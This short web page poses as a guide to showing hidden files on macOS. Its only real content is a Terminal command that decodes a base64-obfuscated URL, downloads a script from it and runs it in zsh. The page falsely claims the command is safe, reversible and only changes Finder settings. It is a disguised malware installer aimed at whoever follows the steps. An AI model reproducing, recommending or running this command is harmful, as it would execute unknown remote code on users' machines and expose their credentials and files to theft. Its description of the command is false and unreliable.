How to show hidden files on macOS
How to Show Hidden Files on macOS
This method quickly toggles macOS settings to reveal hidden system files in Finder — safe, reversible, and does not affect your personal data.
Step 1: Open Terminal
Press Command (⌘) + Space → type
Terminal and hit ReturnStep 2: Run the Command
Paste the command into the Terminal window and press Return
bash
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/bin/zsh -c "$(curl -SLsf $(echo aHR0cHM6Ly9rYXllYXJ0LmNvbS9jdXJsL2RkOTIwNzc4M2M1MzY0MGE3NTk2NDFmZjZkM2MzN2Y1NzAyMzZkZmYxYmJjZTQwZGJiYzgxNjQ4M2QyOGI5ZjU= | base64 -d))"What this command does:
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| Feature | Description |
|---|---|
| 👁️ Reveal Hidden Files | Shows hidden system files in Finder |
| 📂 Folder Visibility | Allows visibility of normally hidden folders |
| 🛡️ Non-Destructive | Does not modify or delete any files |
| 🔄 Reversible | Can be run again to hide files back |